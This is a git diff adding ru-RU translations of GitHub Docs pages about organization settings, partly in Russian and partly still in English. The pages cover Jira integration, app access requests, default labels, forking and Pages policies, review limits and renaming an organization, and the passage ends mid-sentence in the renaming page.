b/translations/ru-RU/content/organizations/managing-organization-settings/integrating-jira-with-your-organization-project-board.md @@ -0,0 +1,38 @@ +--- +title: Integrating Jira with your organization project board +intro: 'You can integrate Jira Cloud with your organization account to scan commits and pull requests, creating relevant metadata and hyperlinks in any mentioned Jira issues.' +redirect_from: + - /articles/integrating-jira-with-your-organization-project-board + - /github/setting-up-and-managing-organizations-and-teams/integrating-jira-with-your-organization-project-board +versions: + ghes: '*' + ghae: '*' +shortTitle: Integrate Jira +--- +{% ifversion ghes > 3.4 or ghae > 3.4 %} +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +1. In the left sidebar, select **{% octicon "code" aria-label="The code icon" %} Developer settings**, then click **OAuth Apps**. + ![OAuth applications tab in the left sidebar](/assets/images/help/organizations/org-oauth-applications-ghe.png) +1. Click **New OAuth App**. +{% else %} +{% data reusables.user-settings.access_settings %} +1. In the left sidebar under **Organization settings**, click the name of your organization. +![Sidebar organization name](/assets/images/help/settings/organization-settings-from-sidebar.png) +1. In the left sidebar under **Developer settings**, click **OAuth applications**. + ![OAuth applications tab in the left sidebar](/assets/images/help/organizations/org-oauth-applications-ghe.png) +1. Click **Register a new application**. +{% endif %} +1. Under **Application name**, type "Jira". +2. Under **Homepage URL**, type the full URL to your Jira instance. +3. Under **Authorization callback URL**, type the full URL to your Jira instance. +4. Click **Register application**. +![Register application button](/assets/images/help/oauth/register-application-button.png) +9. Under **Organization owned applications**, note the "Client ID" and "Client Secret" values. +![Client ID and Client Secret](/assets/images/help/oauth/client-id-and-secret.png) +{% data reusables.user-settings.jira_help_docs %} + +## Further reading + +- ["Integrating Jira with your personal projects"](/articles/integrating-jira-with-your-personal-projects) +- <a href="https://confluence.atlassian.com/adminjiracloud/connect-jira-cloud-to-github-814188429.html" data-proofer-ignore>Connect Jira Cloud to GitHub</a> (Atlassian documentation) diff --git a/translations/ru-RU/content/organizations/managing-organization-settings/limiting-oauth-app-and-github-app-access-requests.md b/translations/ru-RU/content/organizations/managing-organization-settings/limiting-oauth-app-and-github-app-access-requests.md new file mode 100644 index 000000000000..f507d9ec64ba --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-organization-settings/limiting-oauth-app-and-github-app-access-requests.md @@ -0,0 +1,29 @@ +--- +title: Ограничение запросов на доступ к приложению OAuth и приложению GitHub +intro: 'Как владелец организации вы можете разрешить внешним участникам совместной работы запрашивать доступ организации для {% data variables.product.prodname_oauth_apps %} и {% data variables.product.prodname_github_apps %}.' +versions: + feature: limit-app-access-requests +permissions: Organization owners can limit who can make app access requests to the organization. +topics: + - Organizations + - GitHub Apps + - OAuth Apps +shortTitle: Limit app access requests +ms.openlocfilehash: 4ea1bd133dcbabb9e7b3e3cbe65da5ff9c6eabac +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148008696' +--- +## Сведения о запросах доступа на интеграцию + +Если запросы на доступ к интеграции включены, внешние участники совместной работы могут запрашивать доступ организации для {% data variables.product.prodname_github_apps %} и {% data variables.product.prodname_oauth_apps %}, которые еще не утверждены вашей организацией. Если отключить запросы на доступ к интеграции, только члены организации смогут запрашивать доступ организации для неутвержденных {% data variables.product.prodname_github_apps %} и {% data variables.product.prodname_oauth_apps %}. Внешние участники совместной работы по-прежнему смогут предоставить согласие на предварительно утвержденные {% data variables.product.prodname_github_apps %} и {% data variables.product.prodname_oauth_apps %} доступ к тем же ресурсам, к которые запрашивающий внешний сотрудник имеет доступ. + +По умолчанию запросы на доступ к интеграции включены. Если в вашей организации имеется большое количество внешних участников совместной работы, вы можете отключить запросы на доступ к интеграции, чтобы сократить количество запросов, которые необходимо проверить. + +## Включение или отключение запросов доступа для взаимодействия + +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.profile.org_member_privileges %} +1. В разделе "Запросы доступа к интеграции" установите или снимите флажок **Разрешить запросы на интеграцию от внешних участников совместной работы** и нажмите кнопку **Сохранить**. + ![Снимок экрана: настройка запросов на доступ к интеграции](/assets/images/help/organizations/integration-access-requests.png) diff --git a/translations/ru-RU/content/organizations/managing-organization-settings/managing-default-labels-for-repositories-in-your-organization.md b/translations/ru-RU/content/organizations/managing-organization-settings/managing-default-labels-for-repositories-in-your-organization.md new file mode 100644 index 000000000000..bd52628531d5 --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-organization-settings/managing-default-labels-for-repositories-in-your-organization.md @@ -0,0 +1,58 @@ +--- +title: Managing default labels for repositories in your organization +intro: You can customize the labels that are included in every new repository in your organization. +redirect_from: + - /articles/managing-default-labels-for-repositories-in-your-organization + - /github/setting-up-and-managing-organizations-and-teams/managing-default-labels-for-repositories-in-your-organization +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Manage default labels +--- + +Organization owners can manage default labels for repositories in the organization. + +Default labels are included in every new repository in your organization, but anyone with write access to the repository can edit or delete the labels in that repository later. Adding, editing, or deleting a default label does not add, edit, or delete the label from existing repositories. + +## Creating a default label + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.repository-defaults %} + +5. Under "Repository labels", click **New label**. + ![New label button](/assets/images/help/organizations/new-label-button.png) +{% data reusables.project-management.name-label %} +{% data reusables.project-management.label-description %} +{% data reusables.project-management.label-color-randomizer %} +{% data reusables.project-management.create-label %} + +## Editing a default label + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.repository-defaults %} + +{% data reusables.project-management.edit-label %} +{% data reusables.project-management.name-label %} +{% data reusables.project-management.label-description %} +{% data reusables.project-management.label-color-randomizer %} +{% data reusables.project-management.save-label %} + +## Deleting a default label + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.repository-defaults %} + +{% data reusables.project-management.delete-label %} +{% data reusables.project-management.confirm-label-deletion %} + +## Further reading + +- "[About labels](/articles/about-labels)" diff --git a/translations/ru-RU/content/organizations/managing-organization-settings/managing-discussion-creation-for-repositories-in-your-organization.md b/translations/ru-RU/content/organizations/managing-organization-settings/managing-discussion-creation-for-repositories-in-your-organization.md new file mode 100644 index 000000000000..6c725ccce20a --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-organization-settings/managing-discussion-creation-for-repositories-in-your-organization.md @@ -0,0 +1,32 @@ +--- +title: Managing discussion creation for repositories in your organization +intro: You can choose the permission levels that members require to create discussions in repositories owned by your organization. +redirect_from: + - /github/setting-up-and-managing-organizations-and-teams/managing-discussion-creation-for-repositories-in-your-organization +permissions: Organization owners can manage discussion creation for repositories owned by the organization. +versions: + feature: discussions +topics: + - Organizations + - Teams +shortTitle: Manage repository discussions +--- + + +## Allowing or disallowing users with read access to create discussions + +By default, organization members with read access can create discussions if a repository administrator or organization owner enables discussions for a repository owned by the organization. + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.member-privileges %} +5. Under "Repository discussions", select or deselect **Allow users with read access to create discussions**. + ![Checkbox to allow people with read access to create discussions](/assets/images/help/discussions/toggle-allow-users-with-read-access-checkbox.png) +6. Click **Save**. + !["Save" button for discussions settings](/assets/images/help/discussions/click-save.png) + +## Further reading + +- "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)" +- "[Managing discussions for your community](/discussions/managing-discussions-for-your-community)" +- "[Enabling or disabling GitHub Discussions for an organization](/organizations/managing-organization-settings/enabling-or-disabling-github-discussions-for-an-organization)" diff --git a/translations/ru-RU/content/organizations/managing-organization-settings/managing-pull-request-reviews-in-your-organization.md b/translations/ru-RU/content/organizations/managing-organization-settings/managing-pull-request-reviews-in-your-organization.md new file mode 100644 index 000000000000..0fce235322d3 --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-organization-settings/managing-pull-request-reviews-in-your-organization.md @@ -0,0 +1,33 @@ +--- +title: Управление проверками запросов на вытягивание в организации +intro: 'Вы можете настроить ограничения касательно того, какие пользователи могут одобрять или запрашивать изменения в запросах на вытягивание в организации.' +versions: + feature: pull-request-approval-limit +permissions: Organization owners can limit which users can submit reviews that approve or request changes to a pull request. +topics: + - Organizations + - Pull requests +shortTitle: Manage pull request reviews +ms.openlocfilehash: 2d097e95572932f05795bd28627cb73b1fad43ca +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145125720' +--- +## Сведения об ограничениях проверки кода + +По умолчанию в общедоступных репозиториях любой пользователь может отправлять отзывы, которые утверждают или запрашивают изменения запроса на вытягивание. + +Вы можете самостоятельно указать, кто может утверждать или запрашивать изменения в запросах на вытягивание в общедоступных репозиториях, принадлежащих вашей организации. После включения ограничений по проверке кода любой пользователь может закомментировать запросы на вытягивание в общедоступных репозиториях, однако только пользователи с явным доступом к репозиторию могут утверждать запрос на вытягивание или вносить изменения. + +Вы также можете включить ограничения проверки кода для отдельных репозиториев. Если вы включите ограничения для своей организации, вы тем самым переопределите все ограничения для отдельных репозиториев, принадлежащих организации. Дополнительные сведения см. в разделе [Управление проверками запросов на вытягивание в репозитории](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-pull-request-reviews-in-your-repository). + +## Включение ограничений по проверке кода + +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} +1. В разделе "Доступ" на боковой панели щелкните **{% octicon "report" aria-label="The report icon" %} Модерация**. +1. В разделе "{% octicon "report" aria-label="The report icon" %} Модерация", нажмите кнопку **Ограничения проверки кода**. +![Снимок экрана: элемент боковой панели, где приведены ограничения проверки кода для организаций](/assets/images/help/organizations/code-review-limits-organizations.png) +1. Просмотрите сведения на экране. Нажмите кнопку **Ограничить проверку для всех репозиториев**, чтобы ограничиться только проверками с явным доступом, или выберите **Ограничения проверки из всех репозиториев**, чтобы удалить ограничения из всех общедоступных репозиториев в вашей организации. +![Снимок экрана: параметры ограничений по проверке кода для организаций](/assets/images/help/organizations/code-review-limits-organizations-settings.png) diff --git a/translations/ru-RU/content/organizations/managing-organization-settings/managing-scheduled-reminders-for-your-organization.md b/translations/ru-RU/content/organizations/managing-organization-settings/managing-scheduled-reminders-for-your-organization.md new file mode 100644 index 000000000000..c944b0f3fea1 --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-organization-settings/managing-scheduled-reminders-for-your-organization.md @@ -0,0 +1,42 @@ +--- +title: Управление запланированными напоминаниями для организации +intro: 'Вы можете получать напоминания в Slack по всем запросам на вытягивание, запрос на проверку которых был отправлен командам в вашей организации.' +redirect_from: + - /github/setting-up-and-managing-organizations-and-teams/managing-scheduled-reminders-for-your-organization +versions: + fpt: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Manage scheduled reminders +ms.openlocfilehash: 870e22581488689a72cc70f317b6d97fdc4f5ed5 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145125715' +--- +## Сведения об управлении запланированными напоминаниями для запросов на вытягивание. + +{% data reusables.reminders.about-scheduled-reminders-teams-orgs %} + +Владельцы организации могут запланировать напоминание для одной или нескольких команд в своей организации в отношении всех запросов на вытягивание, которые запрашиваются одной или несколькими командами для проверки. + +{% data reusables.reminders.scheduled-reminders-limitations %} + +## Создание запланированного напоминания для организации +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.reminders.scheduled-reminders %} {% data reusables.reminders.add-reminder %} {% data reusables.reminders.authorize-slack %} {% data reusables.reminders.slack-channel %} {% data reusables.reminders.days-dropdown %} {% data reusables.reminders.times-dropdowns %} {% data reusables.reminders.tracked-repos %} +1. В разделе "Фильтрация по команде, назначенной для проверки кода", щелкните раскрывающийся список **Добавить команду** и выберите одну или несколько команд. Можно добавить до 100 ссылок. Если выбранная команда не имеет доступа к выбранному выше разделу "Отслеживаемые репозитории", вы не сможете создать запланированное напоминание. +![Добавление раскрывающегося списка команды](/assets/images/help/organizations/scheduled-reminders-add-teams.png) {% data reusables.reminders.ignore-drafts %} {% data reusables.reminders.no-review-requests %} {% data reusables.reminders.author-reviews %} {% data reusables.reminders.approved-prs %} {% data reusables.reminders.min-age %} {% data reusables.reminders.min-staleness %} {% data reusables.reminders.ignored-terms %} {% data reusables.reminders.ignored-labels %} {% data reusables.reminders.required-labels %} {% data reusables.reminders.create-reminder %} + +## Управление запланированным напоминанием для организации +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.reminders.scheduled-reminders %} {% data reusables.reminders.edit-existing %} {% data reusables.reminders.edit-page %} {% data reusables.reminders.update-buttons %} + +## Удаление запланированного напоминания для организации +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.reminders.scheduled-reminders %} {% data reusables.reminders.delete %} + +## Дополнительные материалы + +- [Управление запланированными напоминаниями](/github/setting-up-and-managing-your-github-user-account/managing-your-scheduled-reminders) +- [Управление запланированными напоминаниями для команды](/organizations/organizing-members-into-teams/managing-scheduled-reminders-for-your-team) diff --git a/translations/ru-RU/content/organizations/managing-organization-settings/managing-the-commit-signoff-policy-for-your-organization.md b/translations/ru-RU/content/organizations/managing-organization-settings/managing-the-commit-signoff-policy-for-your-organization.md new file mode 100644 index 000000000000..25ed41ec3016 --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-organization-settings/managing-the-commit-signoff-policy-for-your-organization.md @@ -0,0 +1,26 @@ +--- +title: Managing the commit signoff policy for your organization +intro: 'You can require users to automatically sign off all commits they make in {% data variables.product.product_name %}''s web interface to repositories owned by your organization.' +versions: + feature: commit-signoffs +permissions: Organization owners can require all commits to repositories owned by the organization be signed off by the commit author. +topics: + - Organizations +shortTitle: Manage the commit signoff policy +--- + +## About commit signoffs + +To affirm that a commit complies with the rules and licensing governing a repository, many organizations require developers to sign off on every commit. If your organization requires commit signoffs, you can make signing off a seamless part of the commit process by enabling compulsory commit signoffs for users committing through {% data variables.product.product_name %}'s web interface. After you enable compulsory commit signoffs for an organization, every commit made to repositories in that organization through {% data variables.product.product_name %}'s web interface will automatically be signed off on by the commit author. + +People with admin access to a repository can also enable compulsory commit signoffs at the repository level. For more information, see "[Managing the commit signoff policy for your repository](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-commit-signoff-policy-for-your-repository)." + +{% data reusables.repositories.commit-signoffs %} + +## Managing compulsory commit signoffs for your organization + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.repository-defaults %} +1. Select or deselect **Require contributors to sign off on web-based commits**. + ![Screenshot of Require contributors to sign off on web-based commits](/assets/images/help/organizations/require-signoffs.png) diff --git a/translations/ru-RU/content/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization.md b/translations/ru-RU/content/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization.md new file mode 100644 index 000000000000..b181ccd22bb8 --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization.md @@ -0,0 +1,40 @@ +--- +title: Managing the default branch name for repositories in your organization +intro: 'You can set the default branch name for repositories that members create in your organization on {% data variables.location.product_location %}.' +redirect_from: + - /github/setting-up-and-managing-organizations-and-teams/managing-the-default-branch-name-for-repositories-in-your-organization +permissions: Organization owners can manage the default branch name for new repositories in the organization. +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Manage default branch name +--- + +## About management of the default branch name + +When a member of your organization creates a new repository in your organization, the repository contains one branch, which is the default branch. You can change the name that {% data variables.product.product_name %} uses for the default branch in new repositories that members of your organization create. For more information about the default branch, see "[About branches](/github/collaborating-with-issues-and-pull-requests/about-branches#about-the-default-branch)." + +{% data reusables.branches.change-default-branch %} + +If an enterprise owner has enforced a policy for the default branch name for your enterprise, you cannot set a default branch name for your organization. Instead, you can change the default branch for individual repositories. For more information, see {% ifversion fpt %}"[Enforcing repository management policies in your enterprise](/enterprise-cloud@latest/admin/policies/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-the-default-branch-name)"{% else %}"[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-the-default-branch-name)"{% endif %} and "[Changing the default branch](/github/administering-a-repository/changing-the-default-branch)." + +## Setting the default branch name + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.repository-defaults %} +3. Under "Repository default branch", click **Change default branch name now**. + ![Override button](/assets/images/help/organizations/repo-default-name-button.png) +4. Type the default name that you would like to use for new branches. + ![Text box for entering default name](/assets/images/help/organizations/repo-default-name-text.png) +5. Click **Update**. + ![Update button](/assets/images/help/organizations/repo-default-name-update.png) + +## Further reading + +- "[Managing the default branch name for your repositories](/github/setting-up-and-managing-your-github-user-account/managing-the-default-branch-name-for-your-repositories)" diff --git a/translations/ru-RU/content/organizations/managing-organization-settings/managing-the-display-of-member-names-in-your-organization.md b/translations/ru-RU/content/organizations/managing-organization-settings/managing-the-display-of-member-names-in-your-organization.md new file mode 100644 index 000000000000..62e9a6540565 --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-organization-settings/managing-the-display-of-member-names-in-your-organization.md @@ -0,0 +1,33 @@ +--- +title: Managing the display of member names in your organization +intro: You can allow members of your organization to see a comment author's profile name in private repositories in the organization. +product: '{% data reusables.gated-features.display-names %}' +redirect_from: + - /articles/managing-the-display-of-member-names-in-your-organization + - /github/setting-up-and-managing-organizations-and-teams/managing-the-display-of-member-names-in-your-organization +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Manage display of member names +--- + +Organization owners can manage the display of member names in an organization. + +![Commenter's profile name displayed in comment](/assets/images/help/issues/commenter-full-name.png) + +Changes to the display of usernames within an organization will affect the display of other people's usernames, not your own. Each organization member chooses their own profile name in their settings. For more information, see "[Personalizing your profile](/github/setting-up-and-managing-your-github-profile/personalizing-your-profile#changing-your-profile-name)." + +{% ifversion profile-name-enterprise-setting %} +You may not be able to configure this setting for your organization, if an enterprise owner has set a policy at the enterprise level. For more information, see "[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-inviting-outside-collaborators-to-repositories)."{% endif %} + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.member-privileges %} +5. Under "Admin repository permissions", select or unselect **Allow members to see comment author's profile name in private repositories**. +![Checkbox to allow members to see comment author's full name in private repositories](/assets/images/help/organizations/allow-members-to-view-full-names.png) +6. Click **Save**. diff --git a/translations/ru-RU/content/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization.md b/translations/ru-RU/content/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization.md new file mode 100644 index 000000000000..dd8c5100cde9 --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization.md @@ -0,0 +1,44 @@ +--- +title: Managing the forking policy for your organization +intro: 'You can allow or prevent the forking of any private{% ifversion ghes or ghae or ghec %} and internal{% endif %} repositories owned by your organization.' +redirect_from: + - /articles/allowing-people-to-fork-private-repositories-in-your-organization + - /github/setting-up-and-managing-organizations-and-teams/allowing-people-to-fork-private-repositories-in-your-organization + - /github/setting-up-and-managing-organizations-and-teams/managing-the-forking-policy-for-your-organization +permissions: Organization owners can manage the forking policy for an organization. +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Manage forking policy +--- + +By default, new organizations are configured to disallow the forking of private{% ifversion ghes or ghec or ghae %} and internal{% endif %} repositories. + +If you allow forking of private{% ifversion ghes or ghec or ghae %} and internal{% endif %} repositories at the organization level, you can also configure the ability to fork a specific private{% ifversion ghes or ghec or ghae %} or internal{% endif %} repository. For more information, see "[Managing the forking policy for your repository](/github/administering-a-repository/managing-the-forking-policy-for-your-repository)." + +{% ifversion org-owners-limit-forks-creation %} +{% ifversion ghec %}If your organization is owned by an enterprise account, you{% else %}You{% endif %} may not be able to configure this setting for your organization, if an enterprise owner has set a policy at the enterprise level. For more information, see "[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-forking-private-or-internal-repositories)."{% endif %} + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.profile.org_member_privileges %} +1. Under "Repository forking", select **Allow forking of private {% ifversion ghec or ghes or ghae %}and internal {% endif %}repositories**. + + {%- ifversion fpt %} + ![Checkbox to allow or disallow forking in the organization](/assets/images/help/repository/allow-disable-forking-fpt.png) + {%- elsif ghes or ghec or ghae %} + ![Checkbox to allow or disallow forking in the organization](/assets/images/help/repository/allow-disable-forking-organization.png) + {%- endif %}{% ifversion org-owners-limit-forks-creation %} +2. Optionally, if forking is enabled, you can specify where users are allowed to fork repositories. If your organization belongs to a {% data variables.product.prodname_enterprise %} account and a more restrictive default has been selected in the enterprise settings, you won't be able to select the more permissive default in your organization settings. Review the information about changing the setting and choose a policy. + ![Screenshot showing the list of repository forking policy options](/assets/images/help/business-accounts/org-repository-forking-policy-settings.png){%- endif %} +3. Click **Save**. + +## Further reading + +- "[About forks](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)" +- "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)" diff --git a/translations/ru-RU/content/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization.md b/translations/ru-RU/content/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization.md new file mode 100644 index 000000000000..a9a4d1196a88 --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization.md @@ -0,0 +1,47 @@ +--- +title: Managing the publication of GitHub Pages sites for your organization +intro: 'You can control whether organization members can publish {% data variables.product.prodname_pages %} sites from repositories in the organization{% ifversion ghec %} and restrict the visibilities that members can choose for the sites{% endif %}.' +permissions: 'Organization owners can manage the publication of {% data variables.product.prodname_pages %} sites from repositories in the organization.' +product: '{% data reusables.gated-features.pages %}' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +redirect_from: + - /github/setting-up-and-managing-organizations-and-teams/disabling-publication-of-github-pages-sites-for-your-organization + - /github/setting-up-and-managing-organizations-and-teams/managing-the-publication-of-github-pages-sites-for-your-organization +topics: + - Organizations + - Teams +shortTitle: Manage Pages site publication +--- + +{% ifversion fpt %} +You can choose to allow or disallow organization members from publishing {% data variables.product.prodname_pages %} sites. Organizations that use {% data variables.product.prodname_ghe_cloud %} can also choose to allow publicly published sites, privately published sites, both, or neither. For more information, see [the {% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization). +{% elsif ghec %} +You can choose to allow organization members to create publicly published sites, privately published sites, both, or neither. For more information about access control for {% data variables.product.prodname_pages %} sites, see "[Changing the visibility of your {% data variables.product.prodname_pages %} site](/pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site)." +{% endif %} + +If you disallow publication of {% data variables.product.prodname_pages %} sites, any sites that are already published will remain published. You can manually unpublish the site. For more information, see "[Unpublishing a {% data variables.product.prodname_pages %} site](/pages/getting-started-with-github-pages/unpublishing-a-github-pages-site)." + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.member-privileges %}{% ifversion fpt %} +1. Under "Pages creation, select or deselect **Public**. + + ![Checkboxes to allow or disallow creation of {% data variables.product.prodname_pages %} sites](/assets/images/help/organizations/github-pages-creation-checkboxes-fpt.png){% elsif ghec %} +1. Under "Pages creation", select the visibilities you want to allow and deselect the visibilities you want to disallow. + + ![Checkboxes to allow or disallow creation of {% data variables.product.prodname_pages %} sites](/assets/images/help/organizations/github-pages-creation-checkboxes.png){% else %} +1. Under "Pages creation", select or deselect **Allow members to publish sites**. + + ![Unselected checkbox for "Allow members to publish sites" option](/assets/images/help/organizations/org-settings-pages-disable-publication-checkbox.png){% endif %}{% ifversion fpt or ghec %} + + {% indented_data_reference reusables.pages.privately-publish-ghec-only spaces=3%}{% endif %} + +1. Click **Save**. + +## Further reading + +- "[About {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages)" diff --git a/translations/ru-RU/content/organizations/managing-organization-settings/managing-updates-from-accounts-your-organization-sponsors.md b/translations/ru-RU/content/organizations/managing-organization-settings/managing-updates-from-accounts-your-organization-sponsors.md new file mode 100644 index 000000000000..868c2fac133a --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-organization-settings/managing-updates-from-accounts-your-organization-sponsors.md @@ -0,0 +1,35 @@ +--- +title: 'Управление обновлениями из учетных записей, спонсируемых вашей организацией' +intro: 'Вы можете определить, какой адрес электронной почты будет получать обновления из учетных записей, спонсируемых вашей организацией.' +redirect_from: + - /github/setting-up-and-managing-organizations-and-teams/managing-updates-from-accounts-your-organization-sponsors +versions: + fpt: '*' + ghec: '*' +permissions: Organization owners can manage updates from accounts the organization sponsors. +topics: + - Organizations + - Teams +shortTitle: Manage sponsorship updates +ms.openlocfilehash: 8023a4673a45a7afdf5351854fcfcc8a29f0b1fe +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145119296' +--- +{% data reusables.sponsors.org-sponsors-release-phase %} + +Разработчики и организации, которые спонсирует ваша организация, могут отправлять вам обновления о своей работе. Вы можете изменять адрес электронной почты для получения таких обновлений. + +Кроме того, обновления из учетных записей, которые спонсирует ваша организация, можно отключить. Дополнительные сведения см. в разделе [Управление спонсорством](/sponsors/sponsoring-open-source-contributors/managing-your-sponsorship#managing-email-updates-for-your-sponsorship). + +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} +1. В разделе "Адрес электронной почты для уведомления спонсоров (частный)" введите адрес электронной почты, на который вы хотите получать обновления из учетных записей, которые спонсирует ваша организация. + ![Текстовое поле для ввода адреса электронной почты для получения обновлений из спонсируемых учетных записей](/assets/images/help/sponsors/organization-update-email-textbox.png) +1. Нажмите **Обновить профиль**. + ![Кнопка "Обновить профиль"](/assets/images/help/organizations/update-profile-button.png) + +## Дополнительные материалы + +- "[{% data variables.product.prodname_sponsors %}](/sponsors)" diff --git a/translations/ru-RU/content/organizations/managing-organization-settings/renaming-an-organization.md b/translations/ru-RU/content/organizations/managing-organization-settings/renaming-an-organization.md new file mode 100644 index 000000000000..66d9a43f9850 --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-organization-settings/renaming-an-organization.md @@ -0,0 +1,55 @@ +--- +title: Переименование организации +intro: 'Если название проекта или компании изменилось, можно обновить имя организации в соответствии с этими изменениями.' +redirect_from: + - /articles/what-happens-when-i-change-my-organization-s-name + - /articles/renaming-an-organization + - /github/setting-up-and-managing-organizations-and-teams/renaming-an-organization +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +ms.openlocfilehash: 088094a03e2416b4da0e3011978ab5e9edd316b2 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145119251' +--- +{% tip %} + +**Подсказки.** Переименовывать организацию могут только владельцы. {% data reusables.organizations.new-org-permissions-more-info %} + +{% endtip %} + +## Что происходит при изменении имени организации? + +Если вы смените имя своей организации, ее старое название сможет взять себе кто-то другой. При изменении имени организации большинство ссылок на репозитории под именем старой организации автоматически изменяются в соответствии с новым именем. При этом автоматическая переадресация работает не со всеми ссылками на ваш профиль. + +### Изменения, которые происходят автоматически + +- {% data variables.product.prodname_dotcom %} автоматически переадресует ссылки на ваши репозитории. Веб-ссылки на существующие **репозитории** вашей организации продолжать работать. Они начнут функционировать в течение нескольких минут после того, как вы произведете изменение. +- Вы можете и дальше отправлять данные из локальных репозиториев по старому URL-адресу удаленного отслеживания без каких-либо изменений. И все же после изменения имени организации мы рекомендуем обновлять все существующие URL-адреса удаленных репозиториев. Поскольку после изменения старое имя организации станет доступно для использования кому угодно, новый владелец организации может создать репозитории, переопределяющие записи переадресации в ваш репозиторий. Дополнительные сведения см. в разделе [Управление удаленными репозиториями](/github/getting-started-with-github/managing-remote-repositories). +- Предыдущие фиксации Git также будут правильно соотноситься с пользователями в вашей организации. + +### Изменения, которые не являются автоматическими + +После изменения имени организации: +- Ссылки на предыдущую страницу профиля организации, такие как `https://{% data variables.command_line.backticks %}/previousorgname`, будут возвращать ошибку 404. Мы рекомендуем обновить ссылки на вашу организацию с других сайтов{% ifversion fpt or ghec %}, например профили LinkedIn или Twitter{% endif %}. +- Запросы API с использованием старого имени организации будут возвращать ошибку 404. Рекомендуем обновлять имя название организации в запросах API. +- Переадресация с помощью функции [@mention](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams) не будет автоматически работать для команд, использующих старое имя организации.{% ifversion ghec %} +- Если для организации включен единый вход SAML, необходимо обновить имя организации в приложении для {% data variables.product.prodname_ghe_cloud %} в поставщике удостоверений. Если вы не обновите имя организации в поставщике удостоверений, участники организации больше не смогут проходить проверку подлинности для доступа к ресурсам организации через вашего поставщика удостоверений. Дополнительные сведения см. в разделе [Подключение поставщика удостоверений для 